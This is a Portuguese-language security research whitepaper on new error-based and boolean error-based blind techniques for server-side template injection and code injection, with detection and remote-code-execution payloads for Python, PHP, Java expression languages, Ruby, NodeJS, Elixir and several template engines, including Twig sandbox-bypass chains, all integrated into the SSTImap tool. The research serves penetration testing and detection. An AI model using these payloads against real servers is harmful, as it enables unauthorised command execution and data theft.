
Whitepaper apresentando técnicas cegas baseadas em erro e erro booleano para SSTI e injeção de código, com payloads universais para seis linguagens de programação e integração no SSTImap.
[!NOTE] Esta é a segunda versão do whitepaper baseada nos resultados que apresentei antes de lançar o SSTImap versão 1.3.1. Melhorias adicionais seriam adaptadas para este formato como versão 1.2 da pesquisa em data posterior.
Algumas categorias de vulnerabilidades podem, à primeira vista, parecer bem conhecidas e um tanto óbvias. Pode parecer que todas as técnicas possíveis para essas vulnerabilidades são conhecidas, então apenas payloads para casos incomuns podem ser descobertos. Injeção de Modelo do Lado do Servidor (SSTI) e Injeção de Código são frequentemente consideradas essas categorias bem conhecidas.
Às vezes, novas técnicas com nomes autoexplicativos são encontradas para essas vulnerabilidades. Muitos pesquisadores podem considerar essas técnicas igualmente conhecidas ou até mesmo lembrar de usá-las, mas, na realidade, a técnica pode existir apenas como um nome comumente entendido, sem pesquisa, descrições ou payloads universais. Pode ser mencionada algumas vezes juntamente com payloads para casos muito específicos, mas não seria testada e o real potencial dessa técnica pode permanecer desconhecido por anos.
Esta pesquisa apresenta duas dessas técnicas para Injeção de Código e SSTI: Baseada em Erro e Cega Baseada em Erro Booleano. Fornecerei payloads para Injeção de Código e SSTI em seis linguagens de programação: Python, PHP, Java, Ruby, NodeJS e Elixir. Além disso, fornecerei payloads de detecção universais, capazes de detectar rapidamente até mesmo injeções cegas.
Fornecerei a linha do tempo completa da minha pesquisa, desde a descoberta das primeiras pistas até as conclusões finais. Também explorarei o processo de criação de novos payloads para linguagens de programação e templates não mencionados nesta pesquisa.
Nesta pesquisa, mostrarei exemplos de aplicações práticas das novas técnicas e compartilharei áreas potenciais para pesquisas futuras. Todos os payloads fornecidos podem ser usados para detectar e explorar vulnerabilidades em aplicações reais. Além disso, todos os payloads fornecidos foram adicionados à ferramenta de código aberto SSTImap, o que facilita a aplicação dos resultados desta pesquisa em alvos do mundo real.
As vulnerabilidades de Injeção de Modelo do Lado do Servidor surgem em sites dinâmicos que usam mecanismos de template para renderização no lado do servidor, quando a entrada do usuário não confiável é inserida no template antes de ser processada pelo mecanismo de template. Um ator malicioso pode inserir sintaxe de template válida, que será processada por um mecanismo de template durante a renderização da página. Muitos mecanismos de template fornecem alguma forma de funcionalidade de execução de código, o que frequentemente leva à Execução Remota de Código (RCE) no servidor alvo. Esta pesquisa é focada em mecanismos de template que oferecem tais capacidades em caso de exploração.
As vulnerabilidades SSTI são conhecidas desde 2015 e, nesse período, muitos payloads foram descobertos, fornecendo extração de informações, bypass de filtros e escape de sandbox. Apesar disso, a maioria dos payloads ou renderiza o resultado diretamente na página ou foca no fato da execução do código em si, descartando os resultados produzidos por esse código.

Outra técnica SSTI bem conhecida é a Cega Baseada em Tempo, que envolve adicionar um atraso ao comando shell executado. Essa técnica permite determinar o sucesso da execução do código injetado, mas requer adivinhar o payload para a execução do comando do SO, o que torna mais difícil detectar SSTI cega em um mecanismo de template desconhecido para o pesquisador.

A classe de vulnerabilidade SSTI e ambas as técnicas de exploração conhecidas foram descobertas em 2015 por James Kettle. Essas técnicas são descritas em grande detalhe em sua pesquisa “Server-Side Template Injection: RCE For The Modern Web App”. [^1] Em dez anos desde então, nenhuma nova técnica de exploração foi documentada. Apenas uma técnica de detecção foi descoberta em 2023, usando payloads políglotas para testar vários mecanismos de template de uma só vez. Essa técnica foi descoberta por Maximilian Hildebrand e descrita em sua pesquisa “Improving the Detection and Identification of Template Engines for Large-Scale Template Injection Scanning”. [^2] A técnica é focada em determinar os mecanismos de template usando a quantidade mínima de requisições, mas funciona apenas para contextos de injeção simples.

A maioria dos mecanismos de template baseados em linguagens de programação interpretadas, como PHP, NodeJS e Python, permite diretamente a avaliação de expressões das linguagens de programação correspondentes. Essa capacidade nos permite usar payloads para uma categoria mais ampla de vulnerabilidade de Injeção de Código, encapsulando-os no formato correto da tag do template.
A Injeção de Código também pode ocorrer sem SSTI, quando a entrada do usuário não confiável pode alcançar eval() ou uma função perigosa semelhante.
Frequentemente considera-se que a exploração de Injeção de Código é apenas programar na linguagem correspondente,
então técnicas e payloads são documentados apenas para exemplos específicos de vulnerabilidades, que exigem adaptação do código para a aplicação alvo.
A falta de técnicas de detecção mais universais para Injeção de Código e SSTI leva à ineficiência da varredura de caixa-preta para injeções cegas de código e template.
Nesta pesquisa, duas novas técnicas serão fornecidas para Injeção de Código e SSTI, bem como payloads para seis linguagens de programação e payloads de detecção genérica. As técnicas fornecidas estenderão as capacidades da exploração SSTI cega, além de permitir a varredura cega de Injeção de Código e SSTI sem precisar adivinhar a linguagem de programação do código injetado.
Os payloads fornecidos nesta pesquisa são voltados para testes de penetração práticos em aplicações web reais. Todos os payloads apresentados também são incorporados em módulos da ferramenta de código aberto para detecção de SSTI e Injeções de Código chamada SSTImap. [^3] O suporte para duas novas técnicas, bem como os payloads correspondentes, foram adicionados na versão 1.3.0. Payloads menos gerais e mais específicos para aplicação prática das novas técnicas, fornecidos nesta pesquisa, são incorporados em módulos adicionais do SSTImap, que podem ser encontrados em um repositório dedicado para módulos “extra”. [^4]
Durante o desenvolvimento de payloads para módulos do SSTImap, encontrei limitações e descobertas que serviram como pistas que levaram às técnicas apresentadas nesta pesquisa. Encontrei diferentes cenários de SSTI e Injeção de Código, onde era impossível obter a saída do código injetado usando técnicas existentes. Ao encontrar tais restrições, testei diferentes ideias para obter a saída, o que eventualmente levou à descoberta de duas novas técnicas documentadas nesta pesquisa.
A primeira pista sugerindo limitações potenciais foi encontrada enquanto eu atualizava payloads para o mecanismo de template Dust.JS. Este mecanismo é considerado desatualizado e parece abandonado, enquanto a execução de código só era possível com as versões antigas do dustjs-helpers de 2015. O módulo do SSTImap para este mecanismo foi herdado da base de código do Tplmap [^5] e melhorá-lo era uma tarefa de baixa prioridade, mas o módulo causava muitos falsos positivos no caso de mecanismos de template simples sem lógica.

Para corrigir o problema, melhorei o payload, mas o mecanismo de template e os payloads para ele chamaram minha atenção.
A injeção de código era possível dentro da condição do bloco if, que era passada diretamente para eval(). [^6]
O resultado não era exibido na página, então considerou-se que a RCE seria sempre cega, mesmo no caso de SSTI refletida.

Naquele momento, pesquisar um mecanismo de template desatualizado para criar um novo payload estava muito baixo na minha lista de prioridades, então decidi não investigar possíveis maneiras de obter a saída.
Encontrei a segunda pista enquanto desenvolvia payloads para novas versões do mecanismo de template Twig. Payloads para versões antigas já estavam corrigidos, então decidi criar um novo módulo com payloads atualizados. Durante minha busca por maneiras mais modernas de explorar o Twig, descobri o CVE-2022-23614, que permitia bypass de sandbox usando um dos payloads comuns para versões modernas. [^7]
Para o novo módulo do SSTImap, decidi usar um payload capaz dessa exploração de bypass de sandbox, pois também funcionava para quase todas as versões do Twig exploráveis por payloads modernos.
O bypass de sandbox era possível passando uma string contendo o nome de uma função PHP como parâmetro para o filtro |sort,
fazendo com que o template chamasse essa função com dois elementos do array como argumentos.
De forma semelhante ao caso do Dust.JS, a saída da função é usada internamente como uma condição (desta vez para ordenar o array), então não é passada de volta ao contexto do template.
Essa limitação não obstrui a exploração, pois a função system() em PHP exibe os resultados da execução do comando do SO diretamente na página web, o que nos permite obter a saída bypassando o mecanismo de template.
Fiquei curioso sobre a possibilidade de obter a saída dentro do mecanismo de template para potencial aplicação como parte de algum bypass ou uma nova técnica de exploração SSTI. Não era necessário para criar um novo módulo para o Twig, então decidi não alocar tempo para desenvolver novos payloads para acesso ao resultado da injeção dentro do template.

A vulnerabilidade CVE-2025-1302 no módulo Node.JS JSONPath Plus anterior à versão 10.3.0 permite a injeção de código JavaScript arbitrário acessando o construtor de função dentro da sintaxe de condição estendida para jsonpath. [^8] Decidi criar um novo módulo extra do SSTImap para detecção e exploração automática do CVE-2025-1302 no caso de injeção de jsonpath no lado do servidor.

Assim como no Dust.JS, a injeção de código só era possível dentro da condição, então não havia uma maneira direta de obter a saída e renderizá-la na página. Apesar disso, decidi pesquisar a possibilidade de extrair a saída, o que eventualmente me levou à terceira pista sugerindo o potencial que eventualmente causou as descobertas discutidas nesta pesquisa.
O módulo JSONPath Plus é usado para acessar dados dentro de objetos JSON.
Em muitas linguagens de programação interpretadas como JavaScript, esses objetos frequentemente operam implicitamente como ponteiros para limitar o consumo de recursos.
Ao mesmo tempo, o módulo JSONPath Plus permite acessar o objeto que está sendo pesquisado usando a sintaxe @root.
Encontrei uma maneira de passar esse objeto para o código injetado dentro da condição, o que permitiu salvar a saída dentro dos atributos do objeto e depois acessá-los usando sintaxe jsonpath injetada.
Este método está longe de ser uma maneira universal de acessar a saída, pois limita bastante os contextos de injeção exploráveis para cenários de injeção de código refletida. Pesquisei outras maneiras potenciais de extrair a saída, como poluição de protótipo, mas não consegui descobrir uma técnica mais universal. Apesar disso, desta vez consegui extrair a saída da condição.
Diferente de todos os casos anteriores, onde as limitações foram encontradas durante o desenvolvimento de payloads, a última pista que levou a esta pesquisa foi descoberta enquanto explorava uma aplicação real. Eu estava testando um construtor de bots sem código para Discord, que permitia aos usuários personalizar modelos de mensagens. Por si só, o mecanismo de template usado para esse propósito não estava avaliando nenhum código, mas tinha uma tag dedicada para avaliar expressões matemáticas.
Ao examinar diferentes mensagens de erro retornadas por essa tag, determinei que as expressões eram avaliadas usando o módulo Node.JS chamado expr-eval.
Este módulo permite RCE através do acesso ao construtor Object, que permite acesso arbitrário a propriedades (CVE-2025-13204).
Modifiquei o payload para evitar quebrar a sintaxe da tag do template, mas em vez de resultados de execução de código, obtive apenas NaN.

Parece que o resultado do expr-eval é convertido em um número pelo mecanismo de template, o que impede a reflexão da saída da execução de código. No entanto, o resultado é convertido em número apenas em caso de avaliação bem-sucedida. Em caso de erro, o template substitui a tag pelo texto completo do erro, que às vezes contém parte do meu código.

Decidi investigar a possibilidade de extrair resultados de execução de código através dessas partes das mensagens de erro. Existe uma técnica que permite a extração de consultas SQL através de mensagens de erro especificamente acionadas. [^9] Presumi que técnicas semelhantes existissem para Injeção de Código e SSTI.

Tentei pesquisar por “Error-based SSTI” e outros nomes potenciais para tais técnicas de SSTI e Injeção de Código, no entanto, só consegui encontrar políglotas baseados em erro de um único artigo de pesquisa feito em 2023 e uma técnica para determinar o mecanismo de template olhando a mensagem de erro. O único resultado que era remotamente semelhante ao que eu estava procurando era um único payload para templates Freemarker criado pelo pesquisador Nicolas Verdier. [^10]

Esse payload permitia determinar o sucesso da execução de código em caso de injeção cega, acionando condicionalmente um erro. Uma técnica similar existe para Injeção SQL, o que confirmou minhas suposições de que técnicas semelhantes poderiam funcionar para Injeção de Código e SSTI.
Percebi que a técnica que eu procurava não estava documentada antes, então decidi conduzir esta pesquisa para desenvolver os payloads necessários. Além disso, decidi adicionar essa técnica à minha ferramenta de código aberto SSTImap.
Decidi desenvolver payloads que nos permitissem acionar erros contendo o resultado da execução de código como parte da mensagem de erro.
Uma técnica similar já existe para Injeções SQL.
Por exemplo, CONVERT(INT, …) em SQL converte uma string em um número.
Se a string não representar um número válido, o banco de dados retornará um texto de erro que contém essa string.
Se essa mensagem de erro for exibida ao usuário, podemos obter a saída mesmo de injeções cegas.
Uma abordagem similar pode ser usada para SSTI e Injeção de Código. Algumas mensagens de erro refletem dados fornecidos pelo usuário, o que nos permite usar esses erros para obter a saída do código injetado.

As linguagens de programação geralmente permitem que os usuários criem erros com mensagens de erro personalizadas, mas muitas vezes é impossível usar diretamente essas capacidades durante a exploração da vulnerabilidade. Na maioria dos casos, a injeção permite apenas a avaliação de expressões, o que impede que o código injetado use construções da linguagem necessárias para levantar erros ou criar novas classes de erro. Para tornar meus payloads mais universais para melhor cobertura, decidi focar em injeções em contextos de expressão de linguagem, onde apenas operadores básicos, literais e chamadas de função são permitidos.
Portanto, para exploração de SSTI e Injeção de Código usando esta técnica, tive que encontrar mensagens de erro que refletem dados fornecidos pelo usuário. Na maioria dos casos, payloads de Injeção de Código poderiam ser usados para explorar SSTI, encapsulando os payloads com tags de template. Como parte desta pesquisa, cobrirei payloads para cinco linguagens de programação: Python, PHP, Ruby, NodeJS e Elixir, bem como para mecanismos de template suportados pelo SSTImap, se tais payloads diferirem significativamente dos payloads da linguagem de programação correspondente. Além disso, payloads para mecanismos de template baseados em Java, bem como payloads de detecção universais, serão cobertos por este artigo.
No início da minha pesquisa, decidi encontrar payloads para a linguagem de programação Python que uso frequentemente para minhas tarefas diárias. Inicialmente, tentei aplicar o mesmo princípio que para a Injeção SQL, convertendo a string em inteiro. Nesse caso, a mensagem de erro de fato reflete a string fornecida pelo usuário, mas logo descobri que strings grandes são truncadas, então apenas os primeiros 199 caracteres podem ser refletidos.

Decidi procurar outras mensagens de erro que permitissem a reflexão de strings fornecidas pelo usuário de comprimento arbitrário.
Acessar um atributo inexistente usando a função getattr() acabou acionando tal erro.
Como resultado, obtive getattr(“”, OUTPUT) como payload, que reflete a string OUTPUT sem quaisquer restrições de comprimento.

Este payload funciona para todos os mecanismos de template baseados em Python testados, embora Jinja2 tenha exigido algumas modificações para chamar a função getattr() do Python:```python3
{{ cycler.init.globals.builtins.getattr("", OUTPUT) }}
Além disso, para o mecanismo de template Jinja2 descobri outro payload que dispara o erro *TemplateNotFound*: `{% include OUTPUT %}`.
Esse payload foi adicionado ao antigo módulo Jinja2 para SSTImap.

### PHP
Para exploração baseada em erro de injeção de código PHP, descobri várias mensagens de erro com aplicabilidade variada para diferentes mecanismos de template.
Por exemplo, o PHP permite chamar uma string como função com o nome igual ao conteúdo da string.
Se tal função não existir, a mensagem de erro gerada conterá toda a string fornecida.
Como resultado, obtemos um payload simples: `OUTPUT()`
Esse payload não funciona na maioria dos mecanismos de template, então continuei minha pesquisa e descobri o erro disparado ao tentar abrir arquivos inexistentes usando a função `fopen()`.
Esse payload funciona em quase todos os mecanismos de template testados: `fopen(OUTPUT, "r")`
Além disso, encontrei a função `include()` que disparava um erro semelhante.
O payload `include(OUTPUT)` ou um similar poderia ser usado na maioria dos mecanismos de template que oferecem capacidades de herança de templates.
Os payloads usando `fopen()` e `include()` falharam em alguns casos.
Descobriu-se que essas funções causam **Avisos** do PHP que poderiam ser renderizados dentro da saída do template à qual não temos acesso.
Decidi modificar o primeiro payload usando `call_user_func()` para chamar uma string como uma função sem usar a sintaxe específica do PHP.
Como resultado, obtive o payload: `call_user_func(OUTPUT)`, que dispara um **erro fatal**, interrompendo a renderização e refletindo a mensagem de erro diretamente na página.

Comumente usado para RCE, a função `system()` imprime a saída na página, mas retorna apenas a primeira linha do resultado.
Para capturar a saída completa, decidi usar `shell_exec()`.
Essa função aceita exatamente um argumento, portanto funcionou bem para a maioria dos mecanismos de template, incluindo versões antigas do **Twig**:```php
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}
{%set OUTPUT=_self.env.getFilter("ls -la")%}
Para versões mais recentes do Twig usei o filtro |map para preservar a saída, mas ele passou o índice do array como segundo elemento, o que tornou impossível usar diretamente a função shell_exec(). Para contornar essa limitação usei a função call_user_func() para chamar shell_exec() e um dicionário em vez de um array para controlar os valores dos índices:```php
{% set OUTPUT={"ls -la": "shell_exec"}|map("call_user_func")|join %}
Para acionar o erro no Twig e obter os resultados da execução, podemos usar o payload de **erro fatal** que aciona a função inexistente: `{{ [0]|map(OUTPUT) }}` ou inclui o arquivo inexistente: `{% include(OUTPUT) %}`

### Java
O Java não fornece uma funcionalidade universal de avaliação de código embutida, portanto não existem payloads universais para Java.
Em vez disso, linguagens de expressão, como **Spring Expression Language** (**SpEL**).
Para essa linguagem, é possível usar um truque simples de converter uma string em um número:```java
"".getClass().forName('java.lang.Integer').valueOf(OUTPUT)
Este payload também funcionará para outras linguagens de expressão semelhantes.
Para verificar a sintaxe do SpEL, podemos usar a forma específica do SpEL de acessar classes: T(java.lang.Integer).valueOf(OUTPUT)
Para obter os resultados da execução de comandos do sistema operacional como uma string, podemos usar o payload:```java T(java.lang.String).getConstructor(T(byte[])).newInstance(T(java.lang.Runtime).getRuntime().exec("…").inputStream.readAllBytes())

Outra linguagem de expressão comum usada em Java é **OGNL**.
Essa linguagem dispara um erro contendo a string fornecida pelo usuário quando essa string é usada em uma operação aritmética: `OUTPUT/0`
O resultado de RCE poderia ser convertido para string usando este payload:```java
new String(@java.lang.Runtime@getRuntime().exec("…").inputStream.readAllBytes())
Também criei payloads para dois motores de template baseados em Java suportados pelo SSTImap.
Por exemplo, os templates Freemarker permitem construção limitada de objetos aplicando o filtro ?new() à string contendo o nome da classe correspondente.
Se tal classe não existir, a mensagem de erro refletirá toda a string.
Isso poderia ser usado para criar um payload simples: ${ OUTPUT?new() }

O motor de template Velocity suporta inclusão de templates usando a diretiva #include().
Para templates inexistentes, a mensagem de erro refletirá o nome fornecido: #include(OUTPUT)

O payload para Ruby poderia ser usado tanto para Injeção de Código quanto para SSTI e utiliza o erro acionado ao acessar um arquivo inexistente, o que é comum para essa técnica: File.read(OUTPUT)

Para Injeção de Código baseada em erro no NodeJS é possível acionar o erro incluindo um módulo inexistente usando a função require(), se ela estiver acessível no contexto da injeção: require(OUTPUT)
Alternativamente, o JavaScript aciona um erro reflexivo ao acessar uma propriedade de undefined: ""["x"][OUTPUT]
A linguagem de programação Elixir reflete a string dentro de uma mensagem de erro quando essa string é usada como índice de lista em vez de um objeto atom: [1, 2][OUTPUT]
O resultado da execução de comando do SO poderia ser refletido usando [1, 2][elem(System.shell(" … "), 0)]

Para detecção baseada em erro de SSTI e Injeção de Código, precisamos de um payload que acionasse um erro em qualquer linguagem de programação. Nesse caso, seria possível detectar a linguagem de programação por uma mensagem de erro típica ou pelo menos encontrar as palavras-chave indicando a presença de um erro, se a linguagem de programação ainda não for suportada.
Minha primeira ideia para criar tal payload foi usar divisão por zero, mas algumas linguagens de programação como JavaScript não tratam tal payload como um erro, simplesmente retornando NaN.
Para lidar com esses casos, decidi adicionar uma chamada a uma função indefinida: (1/0)+zxy()
O novo payload acionou um erro no NodeJS, mas acionou diferentes erros de sintaxe em alguns motores de template baseados em PHP, o que complicou a detecção da linguagem de programação.
Para evitar a detecção precoce da função inexistente durante a análise do template, decidi atualizar o payload para usar o erro acionado ao acessar a propriedade de undefined.
O acesso a atributos exigirá a avaliação da primeira parte, enquanto no caso de concatenação de strings em PHP todas as partes serão avaliadas em tempo de execução, começando pela divisão por zero.
Como resultado, criei um payload capaz de detectar reflexões de mensagens de erro verbosas em caso de injeções genéricas: (1/0).zxy.zxy
Para o módulo do SSTImap, adicionei detecção de mensagens de erro típicas para todas as cinco linguagens de programação suportadas, bem como pesquisa de palavras-chave para detectar o tipo de erro se a linguagem de programação ou motor de template ainda não for suportado.

Após detectar a reflexão de erro verbosa e determinar a linguagem de programação pelo texto do erro, ainda precisaríamos encontrar uma mensagem de erro refletindo o valor fornecido pelo usuário para criar payloads para RCE baseado em erro.
Geralmente, tais erros podem ser acionados ao acessar arquivos e módulos inexistentes, durante interações incomuns com objetos especiais como null ou undefined, bem como no caso de funções, classes ou atributos inexistentes.
Ao contrário disso, erros de sintaxe não oferecem capacidade de extração de dados, pois interrompem a análise do template antes que qualquer avaliação de código injetado ocorra.
Para exploração automatizada bem-sucedida, você deve garantir que textos longos e de múltiplas linhas não sejam truncados.
Além disso, é importante prevenir situações em que o resultado seria igual a algo válido que não acionaria um erro.
Para esses casos, um prefixo deve ser adicionado que tornaria qualquer saída inválida.
Por exemplo, é muito improvável que um site alvo tenha arquivos, classes ou atributos começando com Y:/A:/.
A maioria dos servidores web e aplicações modernos desabilita a saída de erro verbosa, o que impede a exploração de Injeção de Código e SSTI baseados em erro. O texto completo de uma mensagem de erro é impossível de obter nesses casos, mas o erro em si geralmente ainda pode ser detectado. Isso nos permite determinar o sucesso da injeção cega ao detectar um erro acionado condicionalmente.

De fato, respostas diferentes podem expor o resultado da injeção cega.
Por exemplo, no caso de Injeção SQL Cega Baseada em Booleano, um payload como AND SUBSTRING((…), 1, 1) = 's' só retornaria resultados se o valor alvo começar com o caractere s.
Essa técnica é baseada em diferentes comportamentos da aplicação em casos onde nenhum resultado é retornado.
Isso não é aplicável à maioria dos casos de Injeção de Código e SSTI.

No entanto, existe uma técnica similar chamada Injeção SQL Cega Baseada em Erro, na qual o valor alvo é usado para acionar condicionalmente um erro em apenas um dos casos, sem interromper o outro: CASE WHEN 1=1 THEN 1 ELSE json('') END

Essa técnica poderia ser adaptada para funcionar para Injeção de Código e SSTI. Além disso, já encontrei um payload para essa técnica anteriormente. Esse era um payload para o motor de template Freemarker por Nicolas Verdier, mencionado anteriormente nesta pesquisa. [^10]

Linguagens de programação já nos permitem ter condições determinando qual código seria executado. Isso pode ser feito usando construções ou operadores especiais da linguagem. No entanto, similarmente à técnica baseada em erro, decidi evitar construções de linguagem em payloads de Injeção de Código mais universais, pois elas não estarão acessíveis em muitos contextos de injeção. Também decidi evitar o uso do operador condicional ternário, pois operadores tão complexos podem não ser suportados por muitos motores de template e outros contextos de injeção que usam seus próprios analisadores.
Para evitar falsos positivos, o erro deve ser acionado no caso em que nossa injeção não forneceu um resultado válido, pois pode ser impossível diferenciar erros deliberadamente acionados por nossa injeção de quaisquer outros erros que o payload possa ter causado.
Para automatizar o teste de Injeção de Código Cega e SSTI baseados em erro booleano, precisaríamos de uma maneira de detectar erros nas respostas do servidor. Usuários poderiam fornecer expressões regulares para detectar páginas normais ou de erro, mas também poderíamos tentar detectar os erros comparando o código de resposta e comprimento, cabeçalhos e outros parâmetros com os parâmetros correspondentes da resposta normal.
Independentemente da abordagem escolhida, precisaríamos usar dois pares de payloads semelhantes. Diferenças mínimas entre payloads em cada par evitariam falsos positivos causados por erros de WAF ou proxies, enquanto o uso de dois pares mitigaria falsos positivos causados por problemas externos aleatórios.
Para determinar a resposta normal da aplicação, decidi usar payloads numéricos para evitar erros de sintaxe na maioria dos contextos de injeção. Múltiplas respostas são comparadas para determinar os parâmetros mais estáveis da resposta da aplicação. A primeira requisição é descartada para evitar qualquer interferência de ações que uma aplicação possa realizar durante a primeira conexão de um novo endereço IP.
Múltiplos parâmetros foram selecionados para comparação de requisições:
Parâmetros são considerados estáveis se permanecerem iguais para todas as respostas ou se flutuarem dentro de 5% da média (para valores numéricos).

Para determinar a veracidade dos resultados da injeção, poderíamos usar a divisão por um valor booleano.
Um valor verdadeiro seria convertido para um, o que não aciona um erro, enquanto valores que avaliam como False acionariam um erro de divisão por zero.
Poderíamos usar esta expressão como nosso payload: 1 / ( OUTPUT )
Para detectar a injeção, esses dois pares de payloads poderiam ser usados:
'a'.join('bc') == 'bac' e 'a'.join('bc') == 'abc'bool('False') == True e bool('True') == FalseA execução de código é possível usando bool(eval( … )), enquanto a execução de comando do SO pode ser verificada com os.popen( … )._proc.wait() == 0 a partir do Python 3.6.
Na maioria dos motores de template baseados em Python, esses payloads podem ser usados como estão, enquanto Jinja2 não permite acesso direto a funções Python embutidas. Como resultado, o payload para Jinja2 é um pouco mais complexo:```python3 {{ 1 / (not not cycler.init.globals.builtins.eval( … )) }}

### PHP
O PHP também permite usar payloads como `1 / ( … )` para determinar o sucesso da injeção.
Para detectar a injeção, esses dois pares de payload foram escolhidos:
- `'2' + '3' == 5` e `'2' + '5' == 3`
- `strlen('2') == 1` e `strlen('1') == 2`
Os resultados da avaliação de código podem ser acessados usando `true && eval( … )`, e o código de retorno da execução de comandos do SO pode ser verificado com `pclose(popen( … , "wb")) == 0`
Esses payloads funcionam para todos os mecanismos de template testados, exceto **Twig**.
Versões antigas do mecanismo de template Twig nos permitem usar um payload como este:```php
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{{1/(_self.env.getFilter("…&& echo SSTIMAP")|trim('\n') ends with "SSTIMAP")}}
É impossível obter o código de retorno, então uma string conhecida é adicionada ao final da saída em caso de sucesso para ser verificada pelo mecanismo de template. Uma abordagem semelhante funciona para versões mais recentes do Twig:```php {{1/({" … &&echo SSTIMAP":"shell_exec"}|map("call_user_func")|join|trim('\n') ends with "SSTIMAP")}}

### Java
Mais uma vez, a falta de uma forma universal de avaliação de código Java exige que criemos diferentes payloads para cada um dos motores de template suportados.
Para o **Spring Expression Language** usei a mesma ideia de antes, mas foram necessárias algumas modificações adicionais para conversões de tipo: `1/(( … )?1:0)+""`
O operador ternário é usado para converter o resultado em `0` ou `1`, e a concatenação de uma string vazia é usada para evitar erros causados por tipo de retorno incorreto.
Para os payloads de detecção, substituí `1` por `"".getClass().forName('java.lang.Integer').valueOf('1')`, o que nos permite confirmar que a injeção suporta código **Java**.
Para meus dois pares de payloads de detecção, usei adições simples de inteiros, verificando estouro de inteiro no segundo par.
A execução de comandos do sistema operacional foi verificada comparando o código de retorno da função `waitFor()` com zero:```java
"".getClass().forName('java.lang.Runtime').getRuntime().exec(" … ").waitFor()==0
Esses payloads também funcionariam para outras Linguagens de Expressão similares.
Para garantir que temos injeção SpEL, podemos substituí-los por payloads específicos do SpEL: T(java.lang.Integer).valueOf('1') e T(java.lang.Runtime).getRuntime().exec("…").waitFor()==0

Payloads para expressões OGNL são similares aos payloads SpEL.
Usei os mesmos pares de payloads usando adições de inteiros e o mesmo oráculo: 1/((…)?1:0)+""
A sintaxe OGNL pode ser confirmada substituindo 1 por @java.lang.Integer@valueOf('1')
Similarmente ao SpEL, você pode obter o código de retorno de comandos do SO usando waitFor():```java
@java.lang.Runtime@getRuntime().exec("…").waitFor()==0
Vale também destacar que **OGNL** tem uma maneira incomum de converter tipos implicitamente.
Além da ordem das operações, valores previamente calculados também afetam as conversões.
Enquanto um payload como `1 * (123 + 456) + "abc" + 1 * (123 + 456)` obterá o resultado esperado `"579abc579"`, um payload similar `(123 + 456) + "abc" + (123 + 456)` começará a converter inteiros para strings, retornando `"579abc123456"`

Payload principal para **Freemarker** já foi criado por Nicolas Verdier [^10]:```java
${1/((…)?string('1','0')?eval)}
Pares simples de payload foram usados para detecção, pois o motor de template já é confirmado pela sintaxe do payload principal:
1.0 == 1.0 e 1.0 == 0.12 > 1 e 1 > 2Para verificar os resultados da execução de comandos do SO, decidi usar uma técnica previamente usada para o Twig:```java "freemarker.template.utility.Execute"?new()(" … && echo SSTIMAP")?chop_linebreak?ends_with("SSTIMAP")

Para o mecanismo de template Velocity podemos usar as diretivas `#if` e `#include`:
- `#if(false)#include("Y:/A:/true")#end` e `#if(true)#include("Y:/A:/false")#end`
- `#set($o=1.0)#if($o.equals(0.1))#include("Y:/A:/xxx")#end` e `#set($o=1.0)#if($o.equals(1.0))#include("Y:/A:/xxx")#end`
Para verificar a execução de comandos do SO, poderíamos modificar um payload regular para injeção renderizada:```java
…#set($res=$proc.exitValue())#if($res != 0)#include("Y:/A:/xxx")#end

No Ruby, não há uma maneira direta de converter valores de inteiro para booleano.
Isso faz com que o payload se torne um pouco mais complexo: 1/(!!( ... )&&1||0)
Estes pares de payload podem ser usados para confirmar a injeção Ruby:
(2 + 3).to_s == '5' and (2 + 5).to_s == '3''2'.length == 1 and '1'.length == 2Os resultados da avaliação do código podem ser verificados usando !!eval( ... ), enquanto o sucesso dos comandos do SO executados pode ser verificado usando system( … ), que não é usado para injeções renderizadas, pois não retorna a saída em si.
No NodeJS, a divisão por zero não produz um erro, então o payload está, em vez disso, usando acesso a atributos de undefined ou do elemento existente de uma lista: [""][0 + !( … )]["length"]
Estes dois pares são usados para confirmar NodeJS como a linguagem injetada:
typeof(1) + 2 == "number2" and typeof(2) + 1 == "number2"parseInt("5x") == 5 and parseInt("x5") == 5A avaliação do código pode ser verificada diretamente usando eval(), e o código de retorno dos comandos do SO executados pode ser verificado no NodeJS versão 5.7 e superior usando este payload:```node
require('child_process').spawnSync( … , options={shell:true}).status===0
### Elixir
**Elixir** permite usar divisão por zero como um oráculo, mas requer conversão explícita para inteiro.
Como resultado, podemos usar o payload: `1/(( … )&&1||0)`
Podemos verificar a sintaxe do **Elixir** usando estes pares de payloads:
- `String.length("2") == 1` e `String.length("1") == 2`
- `is_boolean(false) == true` e `is_boolean(true) == false`
Verificar resultados da avaliação de código `eval()` e comparar o código de retorno do comando do SO pode ser feito diretamente usando estes payloads: `elem(Code.eval_string( … ), 0)` e `elem(System.shell( … ), 1) == 0`
### Detecção Genérica
Todas as linguagens de programação têm seus próprios nomes de funções, então é impossível encontrar uma função que funcione para detecção genérica.
Apesar disso, quase todas as linguagens usam exatamente a mesma sintaxe para operações matemáticas básicas.
Isso nos permite usar erros de sintaxe para detecção genérica:
- `(3*4/2)` e `3*)2(/4`
- `((7*8)/(2*4))` e `7)(*)8)(2/(*4`
Este método de detecção genérica para Injeção de Código e SSTI pode ser automatizado sem a necessidade de adicionar suporte separadamente para todas as linguagens de programação e motores de template, o que amplia as possibilidades de detecção rápida de Injeção de Código e SSTI usando abordagem de caixa preta.

### Desenvolvimento de Payloads
Para criar payloads após detectar injeção cega, podemos verificar erros comuns de divisão por zero ou acesso a elementos não presentes em listas ou dicionários.
Além disso, para motores de template conhecidos, podemos usar declarações `if` para acionar erros arbitrários condicionalmente.
Para detecção automatizada, pares de payloads podem ser criados usando nomes de funções únicas, características de sintaxe ou conversões implícitas de tipo.
Para converter valores para o tipo desejado, podemos usar funções de conversão específicas ou usar uma operação típica para o tipo desejado (adicionar 0 para números, concatenar string vazia para strings, usar 'e' lógico com `true` para Booleano, etc.). Além disso, valores podem ser convertidos para Booleano usando dupla negação e depois para inteiro usando condições como operador ternário.
Para verificar o sucesso da execução do comando do SO, podemos comparar o código de saída a zero ou verificar se a saída termina em uma string que fornecemos.
## Aplicação Prática
Todas as técnicas e payloads desenvolvidos durante esta pesquisa foram adicionados à ferramenta de código aberto SSTImap para aplicação prática.
Além disso, apliquei essas técnicas às minhas próprias tarefas, o que me permitiu obter o resultado na maioria dos casos que serviram como pistas para esta pesquisa.
Entre esses casos, há exemplos de teste de aplicações web reais, bem como payloads que estendem as capacidades de exploração de vulnerabilidades conhecidas.
### expr-eval (CVE-2025-13204)
